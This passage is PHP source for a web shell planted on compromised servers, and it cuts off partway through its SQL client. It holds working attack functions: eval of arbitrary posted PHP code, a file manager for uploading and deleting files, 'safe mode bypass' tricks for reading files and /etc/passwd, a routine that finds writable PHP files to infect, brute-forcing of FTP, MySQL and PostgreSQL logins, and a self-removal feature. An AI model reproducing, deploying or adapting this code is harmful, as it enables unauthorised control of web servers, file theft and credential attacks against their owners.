if( isset($_POST[\'p2\']) && ($_POST[\'p2\'] == \'info\') ) {\r\n        echo \'<h1>PHP info</h1><div class=content>\';\r\n        ob_start();\r\n        phpinfo();\r\n        $tmp = ob_get_clean();\r\n        $tmp = preg_replace(\'!body {.*}!msiU\',\'\',$tmp);\r\n        $tmp = preg_replace(\'!a:\\w+ {.*}!msiU\',\'\',$tmp);\r\n        $tmp = preg_replace(\'!h1!msiU\',\'h2\',$tmp);\r\n        $tmp = preg_replace(\'!td, th {(.*)}!msiU\',\'.e, .v, .h, .h th {$1}\',$tmp);\r\n        $tmp = preg_replace(\'!body, td, th, h2, h2 {.*}!msiU\',\'\',$tmp);\r\n        echo $tmp;\r\n        echo \'</div><br>\';\r\n    }\r\n    if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))\r\n        $_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = false;\r\n        echo \'<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(null,null,this.code.value);}else{g(null,null,this.code.value,\\\'\\\');}return false;"><textarea name=code class=bigarea id=PhpCode>\'.(!empty($_POST[\'p1\'])?htmlspecialchars($_POST[\'p1\']):\'\').\'</textarea><input type=submit value=Eval style="margin-top:5px">\';\r\n    echo \' <input type=checkbox name=ajax value=1 \'.($_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\').\'> send using AJAX</form><pre id=PhpOutput style="\'.(empty($_POST[\'p1\'])?\'display:none;\':\'\').\'margin-top:5px;" class=ml1>\';\r\n    if(!empty($_POST[\'p1\'])) {\r\n        ob_start();\r\n        eval($_POST[\'p1\']);\r\n        echo htmlspecialchars(ob_get_clean());\r\n    }\r\n    echo \'</pre></div>\';\r\n    hardFooter();\r\n}\r\nfunction actionFilesMan() {\r\n    if (!empty ($_COOKIE[\'f\']))\r\n        $_COOKIE[\'f\'] = @unserialize($_COOKIE[\'f\']);\r\n    \r\n    if(!empty($_POST[\'p1\'])) {\r\n        switch($_POST[\'p1\']) {\r\n            case \'uploadFile\':\r\n                if ( is_array($_FILES[\'f\'][\'tmp_name\']) ) {\r\n                    foreach ( $_FILES[\'f\'][\'tmp_name\'] as $i => $tmpName ) {\r\n                        if(!@move_uploaded_file($tmpName, $_FILES[\'f\'][\'name\'][$i])) {\r\n                                echo "Can\'t upload file!";\r\n                            }\r\n                        }\r\n                    }\r\n                break;\r\n            case \'mkdir\':\r\n                if(!@mkdir($_POST[\'p2\']))\r\n                    echo "Can\'t create new dir";\r\n                break;\r\n            case \'delete\':\r\n                function deleteDir($path) {\r\n                    $path = (substr($path,-1)==\'/\') ? $path:$path.\'/\';\r\n                    $dh  = opendir($path);\r\n                    while ( ($▟ = readdir($dh) ) !== false) {\r\n                        $▟ = $path.$▟;\r\n                        if ( (basename($▟) == "..") || (basename($▟) == ".") )\r\n                            continue;\r\n                        $type = filetype($▟);\r\n                        if ($type == "dir")\r\n                            deleteDir($▟);\r\n                        else\r\n                            @unlink($▟);\r\n                    }\r\n                    closedir($dh);\r\n                    @rmdir($path);\r\n                }\r\n                if(is_array(@$_POST[\'f\']))\r\n                    foreach($_POST[\'f\'] as $f) {\r\n                        if($f == \'..\')\r\n                            continue;\r\n                        $f = urldecode($f);\r\n                        if(is_dir($f))\r\n                            deleteDir($f);\r\n                        else\r\n                            @unlink($f);\r\n                    }\r\n                break;\r\n            case \'paste\':\r\n                if($_COOKIE[\'act\'] == \'copy\') {\r\n                    function copy_paste($c,$s,$d){\r\n                        if(is_dir($c.$s)){\r\n                            mkdir($d.$s);\r\n                            $h = @opendir($c.$s);\r\n                            while (($f = @readdir($h)) !== false)\r\n                                if (($f != ".") and ($f != ".."))\r\n                                    copy_paste($c.$s.\'/\',$f, $d.$s.\'/\');\r\n                        } elseif(is_file($c.$s))\r\n                            @copy($c.$s, $d.$s);\r\n                    }\r\n                    foreach($_COOKIE[\'f\'] as $f)\r\n                        copy_paste($_COOKIE[\'c\'],$f, $GLOBALS[\'cwd\']);\r\n                } elseif($_COOKIE[\'act\'] == \'move\') {\r\n                    function move_paste($c,$s,$d){\r\n                        if(is_dir($c.$s)){\r\n                            mkdir($d.$s);\r\n                            $h = @opendir($c.$s);\r\n                            while (($f = @readdir($h)) !== false)\r\n                                if (($f != ".") and ($f != ".."))\r\n                                    copy_paste($c.$s.\'/\',$f, $d.$s.\'/\');\r\n                        } elseif(@is_file($c.$s))\r\n                            @copy($c.$s, $d.$s);\r\n                    }\r\n                    foreach($_COOKIE[\'f\'] as $f)\r\n                        @rename($_COOKIE[\'c\'].$f, $GLOBALS[\'cwd\'].$f);\r\n                } elseif($_COOKIE[\'act\'] == \'zip\') {\r\n                    if(class_exists(\'ZipArchive\')) {\r\n                        $zip = new ZipArchive();\r\n                        if ($zip->open($_POST[\'p2\'], 1)) {\r\n                            chdir($_COOKIE[\'c\']);\r\n                            foreach($_COOKIE[\'f\'] as $f) {\r\n                                if($f == \'..\')\r\n                                    continue;\r\n                                if(@is_file($_COOKIE[\'c\'].$f))\r\n                                    $zip->addFile($_COOKIE[\'c\'].$f, $f);\r\n                                elseif(@is_dir($_COOKIE[\'c\'].$f)) {\r\n                                    $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.\'/\', FilesystemIterator::SKIP_DOTS));\r\n                                    foreach ($iterator as $key=>$value) {\r\n                                        $zip->addFile(realpath($key), $key);\r\n                                    }\r\n                                }\r\n                            }\r\n                            chdir($GLOBALS[\'cwd\']);\r\n                            $zip->close();\r\n                        }\r\n                    }\r\n                } elseif($_COOKIE[\'act\'] == \'unzip\') {\r\n                    if(class_exists(\'ZipArchive\')) {\r\n                        $zip = new ZipArchive();\r\n                        foreach($_COOKIE[\'f\'] as $f) {\r\n                            if($zip->open($_COOKIE[\'c\'].$f)) {\r\n                                $zip->extractTo($GLOBALS[\'cwd\']);\r\n                                $zip->close();\r\n                            }\r\n                        }\r\n                    }\r\n                } elseif($_COOKIE[\'act\'] == \'tar\') {\r\n                    chdir($_COOKIE[\'c\']);\r\n                    $_COOKIE[\'f\'] = array_map(\'escapeshellarg\', $_COOKIE[\'f\']);\r\n                    ex(\'tar cfzv \' . escapeshellarg($_POST[\'p2\']) . \' \' . implode(\' \', $_COOKIE[\'f\']));\r\n                    chdir($GLOBALS[\'cwd\']);\r\n                }\r\n                unset($_COOKIE[\'f\']);\r\n                setcookie(\'f\', \'\', time() - 3600);\r\n                break;\r\n            default:\r\n                if(!empty($_POST[\'p1\'])) {\r\n                    prototype(\'act\', $_POST[\'p1\']);\r\n                    prototype(\'f\', serialize(@$_POST[\'f\']));\r\n                    prototype(\'c\', @$_POST[\'c\']);\r\n                }\r\n                break;\r\n        }\r\n    }\r\n    hardHeader();\r\n    echo \'<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>\';\r\n    $dirContent = hardScandir(isset($_POST[\'c\'])?$_POST[\'c\']:$GLOBALS[\'cwd\']);\r\n    if($dirContent === false) { echo \'Can\\\'t open this folder!\';hardFooter(); return; }\r\n    global $sort;\r\n    $sort = array(\'name\', 1);\r\n    if(!empty($_POST[\'p1\'])) {\r\n        if(preg_match(\'!s_([A-z]+)_(\\d{1})!\', $_POST[\'p1\'], $match))\r\n            $sort = array($match[1], (int)$match[2]);\r\n    }\r\necho "<script>\r\n    function sa() {\r\n        for(i=0;i<d.files.elements.length;i++)\r\n            if(d.files.elements[i].type == \'checkbox\')\r\n                d.files.elements[i].checked = d.files.elements[0].checked;\r\n    }\r\n</script>\r\n<table width=\'100%\' class=\'main\' cellspacing=\'0\' cellpadding=\'2\'>\r\n<form name=files method=post><tr><th width=\'13px\'><input type=checkbox onclick=\'sa()\' class=chkbx></th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_name_".($sort[1]?0:1)."\\")\'>Name</a></th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_size_".($sort[1]?0:1)."\\")\'>Size</a></th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_modify_".($sort[1]?0:1)."\\")\'>Modify</a></th><th>Owner/Group</th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_perms_".($sort[1]?0:1)."\\")\'>Permissions</a></th><th>Actions</th></tr>";\r\n    $dirs = $files = array();\r\n    $n = count($dirContent);\r\n    for($i=0;$i<$n;$i++) {\r\n        $ow = @posix_getpwuid(@fileowner($dirContent[$i]));\r\n        $gr = @posix_getgrgid(@filegroup($dirContent[$i]));\r\n        $tmp = array(\'name\' => $dirContent[$i],\r\n                     \'path\' => $GLOBALS[\'cwd\'].$dirContent[$i],\r\n                     \'modify\' => date(\'Y-m-d H:i:s\', @filemtime($GLOBALS[\'cwd\'] . $dirContent[$i])),\r\n                     \'perms\' => viewPermsColor($GLOBALS[\'cwd\'] . $dirContent[$i]),\r\n                     \'size\' => @filesize($GLOBALS[\'cwd\'].$dirContent[$i]),\r\n                     \'owner\' => $ow[\'name\']?$ow[\'name\']:@fileowner($dirContent[$i]),\r\n                     \'group\' => $gr[\'name\']?$gr[\'name\']:@filegroup($dirContent[$i])\r\n                    );\r\n        if(@is_file($GLOBALS[\'cwd\'] . $dirContent[$i]))\r\n            $files[] = array_merge($tmp, array(\'type\' => \'file\'));\r\n        elseif(@is_link($GLOBALS[\'cwd\'] . $dirContent[$i]))\r\n            $dirs[] = array_merge($tmp, array(\'type\' => \'link\', \'link\' => readlink($tmp[\'path\'])));\r\n        elseif(@is_dir($GLOBALS[\'cwd\'] . $dirContent[$i])&&($dirContent[$i] != "."))\r\n            $dirs[] = array_merge($tmp, array(\'type\' => \'dir\'));\r\n    }\r\n    $GLOBALS[\'sort\'] = $sort;\r\n    function cmp($a, $b) {\r\n        if($GLOBALS[\'sort\'][0] != \'size\')\r\n            return strcmp(strtolower($a[$GLOBALS[\'sort\'][0]]), strtolower($b[$GLOBALS[\'sort\'][0]]))*($GLOBALS[\'sort\'][1]?1:-1);\r\n        else\r\n            return (($a[\'size\'] < $b[\'size\']) ? -1 : 1)*($GLOBALS[\'sort\'][1]?1:-1);\r\n    }\r\n    usort($files, "cmp");\r\n    usort($dirs, "cmp");\r\n    $files = array_merge($dirs, $files);\r\n    $l = 0;\r\n    foreach($files as $f) {\r\n        echo \'<tr\'.($l?\' class=l1\':\'\').\'><td><input type=checkbox name="f[]" value="\'.urlencode($f[\'name\']).\'" class=chkbx></td><td><a href=# onclick="\'.(($f[\'type\']==\'file\')?\'g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'view\\\')">\'.htmlspecialchars($f[\'name\']):\'g(\\\'FilesMan\\\',\\\'\'.$f[\'path\'].\'\\\');" \' . (empty ($f[\'link\']) ? \'\' : "title=\'{$f[\'link\']}\'") . \'><b>[ \' . htmlspecialchars($f[\'name\']) . \' ]</b>\').\'</a></td><td>\'.(($f[\'type\']==\'file\')?viewSize($f[\'size\']):$f[\'type\']).\'</td><td>\'.$f[\'modify\'].\'</td><td>\'.$f[\'owner\'].\'/\'.$f[\'group\'].\'</td><td><a href=# onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\',\\\'chmod\\\')">\'.$f[\'perms\']\r\n            .\'</td><td><a class="tooltip" data-tooltip="Rename" href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'rename\\\')">R</a> <a class="tooltip" data-tooltip="Touch" href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'touch\\\')">T</a>\'.(($f[\'type\']==\'file\')?\' <a class="tooltip" data-tooltip="Frame" href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'frame\\\')">F</a> <a class="tooltip" data-tooltip="Edit" href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'edit\\\')">E</a> <a class="tooltip" data-tooltip="Download" href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'download\\\')">D</a>\':\'\').\'</td></tr>\';\r\n        $l = $l?0:1;\r\n    }\r\n    echo "<tr id=fak><td colspan=7>\r\n    <input type=hidden name=ne value=\'\'>\r\n    <input type=hidden name=a value=\'FilesMan\'>\r\n    <input type=hidden name=c value=\'" . htmlspecialchars($GLOBALS[\'cwd\']) ."\'>\r\n    <input type=hidden name=charset value=\'". (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\')."\'>\r\n    <label><select name=\'p1\'>";\r\n    if(!empty($_COOKIE[\'act\']) && @count($_COOKIE[\'f\']))\r\n        echo "<option value=\'paste\'>↳ Paste</option>";\r\n    echo "<option value=\'copy\'>Copy</option><option value=\'move\'>Move</option><option value=\'delete\'>Delete</option>";\r\n    if(class_exists(\'ZipArchive\'))\r\n        echo "<option value=\'zip\'>+ zip</option><option value=\'unzip\'>- zip</option>";\r\n    echo "<option value=\'tar\'>+ tar.gz</option>";\r\n    echo "</select></label>";\r\n    if(!empty($_COOKIE[\'act\']) && @count($_COOKIE[\'f\']) && (($_COOKIE[\'act\'] == \'zip\') || ($_COOKIE[\'act\'] == \'tar\')))\r\n        echo "&nbsp;file name: <input type=text name=p2 value=\'hard_" . date("Ymd_His") . "." . ($_COOKIE[\'act\'] == \'zip\'?\'zip\':\'tar.gz\') . "\'>&nbsp;";\r\n    echo "<input type=\'submit\' value=\'submit\'></td></tr></form></table></div>";\r\n    hardFooter();\r\n}\r\nfunction actionStringTools() {\r\n    if(!function_exists(\'hex2bin\')) {function hex2bin($p) {return decbin(hexdec($p));}}\r\n    if(!function_exists(\'binhex\')) {function binhex($p) {return dechex(bindec($p));}}\r\n    if(!function_exists(\'hex2ascii\')) {function hex2ascii($p){$r=\'\';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}\r\n    if(!function_exists(\'ascii2hex\')) {function ascii2hex($p){$r=\'\';for($i=0;$i<strlen($p);++$i)$r.= sprintf(\'%02X\',ord($p[$i]));return strtoupper($r);}}\r\n    if(!function_exists(\'full_urlencode\')) {function full_urlencode($p){$r=\'\';for($i=0;$i<strlen($p);++$i)$r.= \'%\'.dechex(ord($p[$i]));return strtoupper($r);}}\r\n    $stringTools = array(\r\n        \'Base64 encode\' => \'base64_encode\',\r\n        \'Base64 decode\' => \'base64_decode\',\r\n        \'Url encode\' => \'urlencode\',\r\n        \'Url decode\' => \'urldecode\',\r\n        \'Full urlencode\' => \'full_urlencode\',\r\n        \'md5 hash\' => \'md5\',\r\n        \'sha1 hash\' => \'sha1\',\r\n        \'crypt\' => \'crypt\',\r\n        \'CRC32\' => \'crc32\',\r\n        \'ASCII to HEX\' => \'ascii2hex\',\r\n        \'HEX to ASCII\' => \'hex2ascii\',\r\n        \'HEX to DEC\' => \'hexdec\',\r\n        \'HEX to BIN\' => \'hex2bin\',\r\n        \'DEC to HEX\' => \'dechex\',\r\n        \'DEC to BIN\' => \'decbin\',\r\n        \'BIN to HEX\' => \'binhex\',\r\n        \'BIN to DEC\' => \'bindec\',\r\n        \'String to lower case\' => \'strtolower\',\r\n        \'String to upper case\' => \'strtoupper\',\r\n        \'Htmlspecialchars\' => \'htmlspecialchars\',\r\n        \'String length\' => \'strlen\',\r\n    );\r\n    if(isset($_POST[\'ajax\'])) {\r\n        prototype(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', true);\r\n        ob_start();\r\n        if(in_array($_POST[\'p1\'], $stringTools))\r\n            echo $_POST[\'p1\']($_POST[\'p2\']);\r\n        $temp = "document.getElementById(\'strOutput\').style.display=\'\';document.getElementById(\'strOutput\').innerHTML=\'".addcslashes(htmlspecialchars(ob_get_clean()),"\\n\\r\\t\\\\\'\\0")."\';\\n";\r\n        echo strlen($temp), "\\n", $temp;\r\n        exit;\r\n    }\r\n    if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))\r\n        prototype(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', 0);\r\n    hardHeader();\r\n    echo \'<h1>String conversions</h1><div class=content>\';\r\n    echo "<form name=\'toolsForm\' onSubmit=\'if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;\'><label><select name=\'selectTool\'>";\r\n    foreach($stringTools as $k => $v)\r\n        echo "<option value=\'".htmlspecialchars($v)."\'>".$k."</option>";\r\n        echo "</select></label><input type=\'submit\' value=\'submit\'/> <input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\')."> send using AJAX<br><textarea name=\'input\' style=\'margin-top:5px\' class=bigarea>".(empty($_POST[\'p1\'])?\'\':htmlspecialchars(@$_POST[\'p2\']))."</textarea></form><pre class=\'ml1\' style=\'".(empty($_POST[\'p1\'])?\'display:none;\':\'\')."margin-top:5px\' id=\'strOutput\'>";\r\n    if(!empty($_POST[\'p1\'])) {\r\n        if(in_array($_POST[\'p1\'], $stringTools))echo htmlspecialchars($_POST[\'p1\']($_POST[\'p2\']));\r\n    }\r\n    echo"</pre></div><br><h1>Search files:</h1><div class=content>\r\n        <form onsubmit=\\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\\"><table cellpadding=\'1\' cellspacing=\'0\' width=\'50%\'>\r\n            <tr><td width=\'1%\'>Text:</td><td><input type=\'text\' name=\'text\' style=\'width:100%\'></td></tr>\r\n            <tr><td>Path:</td><td><input type=\'text\' name=\'cwd\' value=\'". htmlspecialchars($GLOBALS[\'cwd\']) ."\' style=\'width:100%\'></td></tr>\r\n            <tr><td>Name:</td><td><input type=\'text\' name=\'filename\' value=\'*\' style=\'width:100%\'></td></tr>\r\n            <tr><td></td><td><input type=\'submit\' value=\'submit\'></td></tr>\r\n            </table></form>";\r\n    function hardRecursiveGlob($path) {\r\n        if(substr($path, -1) != \'/\')\r\n            $path.=\'/\';\r\n        $paths = @array_unique(@array_merge(@glob($path.$_POST[\'p3\']), @glob($path.\'*\', GLOB_ONLYDIR)));\r\n        if(is_array($paths)&&@count($paths)) {\r\n            foreach($paths as $▟) {\r\n                if(@is_dir($▟)){\r\n                    if($path!=$▟)\r\n                        hardRecursiveGlob($▟);\r\n                } else {\r\n                    if(empty($_POST[\'p2\']) || @strpos(file_get_contents($▟), $_POST[\'p2\'])!==false)\r\n                        echo "<a href=\'#\' onclick=\'g(\\"FilesTools\\",null,\\"".urlencode($▟)."\\", \\"view\\",\\"\\")\'>".htmlspecialchars($▟)."</a><br>";\r\n                }\r\n            }\r\n        }\r\n    }\r\n    if(@$_POST[\'p3\'])\r\n        hardRecursiveGlob($_POST[\'c\']);\r\n    echo "</div><br><h1>Search for hash:</h1><div class=content>\r\n        <form method=\'post\' target=\'_blank\' name=\'hf\'>\r\n            <input type=\'text\' name=\'hash\' style=\'width:200px;\'><br>\r\n            <input type=\'hidden\' name=\'act\' value=\'find\'/>\r\n            <input type=\'submit\' value=\'hashcracking.ru\' onclick=\\"document.hf.action=\'https://hashcracking.ru/index.php\';document.hf.submit()\\"><br>\r\n            <input type=\'submit\' value=\'md5.rednoize.com\' onclick=\\"document.hf.action=\'http://md5.rednoize.com/?q=\'+document.hf.hash.value+\'&s=md5\';document.hf.submit()\\"><br>\r\n            <input type=\'submit\' value=\'fakenamegenerator.com\' onclick=\\"document.hf.action=\'http://www.fakenamegenerator.com/\';document.hf.submit()\\"><br>\r\n            <input type=\'submit\' value=\'hashcrack.com\' onclick=\\"document.hf.action=\'http://www.hashcrack.com/index.php\';document.hf.submit()\\"><br>\r\n            <input type=\'submit\' value=\'toolki.com\' onclick=\\"document.hf.action=\'http://toolki.com/\';document.hf.submit()\\"><br>\r\n            <input type=\'submit\' value=\'fopo.com.ar\' onclick=\\"document.hf.action=\'http://fopo.com.ar/\';document.hf.submit()\\"><br>\r\n            <input type=\'submit\' value=\'md5decrypter.com\' onclick=\\"document.hf.action=\'http://www.md5decrypter.com/\';document.hf.submit()\\"><br>\r\n        </form></div>";\r\n    hardFooter();\r\n}\r\nfunction actionSafeMode() {\r\n    $temp=\'\';\r\n    ob_start();\r\n    switch($_POST[\'p1\']) {\r\n        case 1:\r\n            $temp=@tempnam($test, \'cx\');\r\n            if(@copy("compress.zlib://".$_POST[\'p2\'], $temp)){\r\n                echo @file_get_contents($temp);\r\n                unlink($temp);\r\n            } else\r\n                echo \'Sorry... Can\\\'t open file\';\r\n            break;\r\n        case 2:\r\n            $files = glob($_POST[\'p2\'].\'*\');\r\n            if( is_array($files) )\r\n                foreach ($files as $filename)\r\n                    echo $filename."\\n";\r\n            break;\r\n        case 3:\r\n            $ch = curl_init("file://".$_POST[\'p2\']."\\x00".SELF_PATH);\r\n            curl_exec($ch);\r\n            break;\r\n        case 4:\r\n            ini_restore("safe_mode");\r\n            ini_restore("open_basedir");\r\n            include($_POST[\'p2\']);\r\n            break;\r\n        case 5:\r\n            for(;$_POST[\'p2\'] <= $_POST[\'p3\'];$_POST[\'p2\']++) {\r\n                $uid = @posix_getpwuid($_POST[\'p2\']);\r\n                if ($uid)\r\n                    echo join(\':\',$uid)."\\n";\r\n            }\r\n            break;\r\n        case 6:\r\n            if(!function_exists(\'imap_open\'))break;\r\n            $stream = imap_open($_POST[\'p2\'], "", "");\r\n            if ($stream == FALSE)\r\n                break;\r\n            echo imap_body($stream, 1);\r\n            imap_close($stream);\r\n            break;\r\n    }\r\n    $temp = ob_get_clean();\r\n    hardHeader();\r\n    echo \'<h1>Safe mode bypass</h1><div class=content>\';\r\n    echo \'<span>Copy (read file)</span><form onsubmit=\\\'g(null,null,"1",this.param.value);return false;\\\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Glob (list dir)</span><form onsubmit=\\\'g(null,null,"2",this.param.value);return false;\\\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Curl (read file)</span><form onsubmit=\\\'g(null,null,"3",this.param.value);return false;\\\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Ini_restore (read file)</span><form onsubmit=\\\'g(null,null,"4",this.param.value);return false;\\\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\\\'g(null,null,"5",this.param1.value,this.param2.value);return false;\\\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value="submit"></form><br><br><span>Imap_open (read file)</span><form onsubmit=\\\'g(null,null,"6",this.param.value);return false;\\\'><input type=text name=param><input type=submit value="submit"></form>\';\r\n    if($temp)\r\n        echo \'<pre class="ml1" style="margin-top:5px" id="Output">\'.$temp.\'</pre>\';\r\n    echo \'</div>\';\r\n    hardFooter();\r\n}\r\nfunction actionLogout() {\r\n    setcookie(md5($_SERVER[\'HTTP_HOST\']), \'\', time() - 3600);\r\n    die(\'bye!\');\r\n}\r\nfunction actionSelfRemove() {\r\n    if($_POST[\'p1\'] == \'yes\')\r\n        if(@unlink(preg_replace(\'!\\(\\d+\\)\\s.*!\', \'\', __FILE__)))\r\n            die(\'Shell has been removed\');\r\n        else\r\n            echo \'unlink error!\';\r\n    if($_POST[\'p1\'] != \'yes\')\r\n        hardHeader();\r\n    echo \'<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\\\'yes\\\')">Yes</a></div>\';\r\n    hardFooter();\r\n}\r\nfunction actionInfect() {\r\n    hardHeader();\r\n    echo \'<h1>Infect</h1><div class=content>\';\r\n    if($_POST[\'p1\'] == \'infect\') {\r\n        $target=$_SERVER[\'DOCUMENT_ROOT\'];\r\n            function ListFiles($dir) {\r\n                if($dh = opendir($dir)) {\r\n                    $files = Array();\r\n                    $inner_files = Array();\r\n                    while($file = readdir($dh)) {\r\n                        if($file != "." && $file != "..") {\r\n                            if(is_dir($dir . "/" . $file)) {\r\n                                $inner_files = ListFiles($dir . "/" . $file);\r\n                                if(is_array($inner_files)) $files = array_merge($files, $inner_files); \r\n                            } else {\r\n                                array_push($files, $dir . "/" . $file);\r\n                            }\r\n                        }\r\n                    }\r\n                    closedir($dh);\r\n                    return $files;\r\n                }\r\n            }\r\n            foreach (ListFiles($target) as $key=>$file){\r\n                $nFile = substr($file, -4, 4);\r\n                if($nFile == ".php" ){\r\n                    if(($file<>$_SERVER[\'DOCUMENT_ROOT\'].$_SERVER[\'PHP_SELF\'])&&(is_writeable($file))){\r\n                        echo "$file<br>";\r\n                        $i++;\r\n                    }\r\n                }\r\n            }\r\n            echo "<font color=red size=14>$i</font>";\r\n        }else{\r\n            echo "<form method=post><input type=submit value=Infect name=infet></form>";\r\n            echo \'Really want to infect the server?&nbsp;<a href=# onclick="g(null,null,\\\'infect\\\')">Yes</a></div>\';\r\n        }\r\n    hardFooter();\r\n}\r\nfunction actionBruteforce() {\r\n    hardHeader();\r\n    if( isset($_POST[\'proto\']) ) {\r\n        echo \'<h1>Results</h1><div class=content><span>Type:</span> \'.htmlspecialchars($_POST[\'proto\']).\' <span>Server:</span> \'.htmlspecialchars($_POST[\'server\']).\'<br>\';\r\n        if( $_POST[\'proto\'] == \'ftp\' ) {\r\n            function bruteForce($ip,$port,$login,$pass) {\r\n                $fp = @ftp_connect($ip, $port?$port:21);\r\n                if(!$fp) return false;\r\n                $res = @ftp_login($fp, $login, $pass);\r\n                @ftp_close($fp);\r\n                return $res;\r\n            }\r\n        } elseif( $_POST[\'proto\'] == \'mysql\' ) {\r\n            function bruteForce($ip,$port,$login,$pass) {\r\n                $res = @mysql_connect($ip.\':\'.($port?$port:3306), $login, $pass);\r\n                @mysql_close($res);\r\n                return $res;\r\n            }\r\n        } elseif( $_POST[\'proto\'] == \'pgsql\' ) {\r\n            function bruteForce($ip,$port,$login,$pass) {\r\n                $str = "host=\'".$ip."\' port=\'".$port."\' user=\'".$login."\' password=\'".$pass."\' dbname=postgres";\r\n                $res = @pg_connect($str);\r\n                @pg_close($res);\r\n                return $res;\r\n            }\r\n        }\r\n        $success = 0;\r\n        $attempts = 0;\r\n        $server = explode(":", $_POST[\'server\']);\r\n        if($_POST[\'type\'] == 1) {\r\n            $temp = @file(\'/etc/passwd\');\r\n            if( is_array($temp) )\r\n                foreach($temp as $line) {\r\n                    $line = explode(":", $line);\r\n                    ++$attempts;\r\n                    if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {\r\n                        $success++;\r\n                        echo \'<b>\'.htmlspecialchars($line[0]).\'</b>:\'.htmlspecialchars($line[0]).\'<br>\';\r\n                    }\r\n                    if(@$_POST[\'reverse\']) {\r\n                        $tmp = "";\r\n                        for($i=strlen($line[0])-1; $i>=0; --$i)\r\n                            $tmp .= $line[0][$i];\r\n                        ++$attempts;\r\n                        if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {\r\n                            $success++;\r\n                            echo \'<b>\'.htmlspecialchars($line[0]).\'</b>:\'.htmlspecialchars($tmp);\r\n                        }\r\n                    }\r\n                }\r\n        } elseif($_POST[\'type\'] == 2) {\r\n            $temp = @file($_POST[\'dict\']);\r\n            if( is_array($temp) )\r\n                foreach($temp as $line) {\r\n                    $line = trim($line);\r\n                    ++$attempts;\r\n                    if( bruteForce($server[0],@$server[1], $_POST[\'login\'], $line) ) {\r\n                        $success++;\r\n                        echo \'<b>\'.htmlspecialchars($_POST[\'login\']).\'</b>:\'.htmlspecialchars($line).\'<br>\';\r\n                    }\r\n                }\r\n        }\r\n        echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";\r\n    }\r\n    echo \'<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>\'\r\n        .\'<td><label><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></label></td></tr><tr><td>\'\r\n        .\'<input type=hidden name=c value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'">\'\r\n        .\'<input type=hidden name=a value="\'.htmlspecialchars($_POST[\'a\']).\'">\'\r\n        .\'<input type=hidden name=charset value="\'.htmlspecialchars($_POST[\'charset\']).\'">\'\r\n        .\'<input type=hidden name=ne  value="">\'\r\n        .\'<span>Server:port</span></td>\'\r\n        .\'<td><input type=text name=server value="127.0.0.1"></td></tr>\'\r\n        .\'<tr><td><span>Brute type</span></td>\'\r\n        .\'<td><input type=radio name=type value="1" checked> /etc/passwd</td></tr>\'\r\n        .\'<tr><td></td><td style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</td></tr>\'\r\n        .\'<tr><td></td><td><input type=radio name=type value="2"> Dictionary</td></tr>\'\r\n        .\'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>\'\r\n        .\'<td><input type=text name=login value="root"></td></tr>\'\r\n        .\'<tr><td><span>Dictionary</span></td>\'\r\n        .\'<td><input type=text name=dict value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'passwd.dic"></td></tr></table>\'\r\n        .\'</td></tr><tr><td></td><td><input type=submit value="submit"></td></tr></form></table>\';\r\n    echo \'</div>\';\r\n    hardFooter();\r\n}\r\nfunction actionSql() {\r\n    class DbClass {\r\n        var $type;\r\n        var $link;\r\n        var $res;\r\n        function DbClass($type) {\r\n            $this->type = $type;\r\n        }\r\n        function connect($host, $user, $pass, $dbname){\r\n            switch($this->type) {\r\n                case \'mysql\':\r\n                    if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;\r\n                    break;\r\n                case \'pgsql\':\r\n                    $host = explode(\':\', $host);\r\n                    if(!$host[1]) $host[1]=5432;\r\n                  